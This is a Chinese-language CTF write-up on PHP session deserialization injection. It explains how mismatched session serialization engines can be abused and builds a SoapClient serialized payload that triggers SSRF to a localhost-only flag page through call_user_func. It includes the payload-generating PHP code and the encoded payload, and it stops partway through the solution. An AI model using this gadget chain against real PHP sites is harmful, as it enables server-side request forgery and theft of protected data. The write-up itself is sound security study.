SESSION反序列化
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
看到这个 首先想到SSRF去访问flag.php,然后获得flag,再利用变量覆盖把session中的flag打印出来
php中的seiion中的内容并不是放在内存中的,而是以文件的方式来存储的,存储的方式就是由配置项session_save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)
session.serialize_handler存在以下几种
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
php_binary引擎格式
<0x04>names:5:"Smi1e";
php引擎格式
name|s:5:"Smi1e";
php_searialize引擎格式
a:1:{s:4:"name";s:5:"Smi1e";}
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。
例如传入
$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';
序列化引擎使用的是php_serialize,那么储存的session文件为
a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}
而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:“name”;s:5:"当作键名,而把O:5:“Smi1e”:1:{s:4:“test”;s:3:“AAA”;}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。
回归本题:
**题目中的源码并没有类,因此只能去利用php的原生类。
利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
构造SSRF的Soap类的序列化字符串
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>。**
得到的payload
|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
覆盖序列化引擎并将构造的Soap类序列化字符串写入session文件。
这里session_start()序列化使用的是php引擎,然后就是进行变量覆盖b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID
call_user_func函数
这是一个回调函数,这个函数把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数,这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数,
<?php
class myclass{
static function say_hello(){
echo "hello!";
}
}
$classname = "myclass";
call_user_func(array($classname,'say_hello'));
这个结果就会调用myclass中的say_hello方法,输出hello
获得的PHPSESSID的SESSION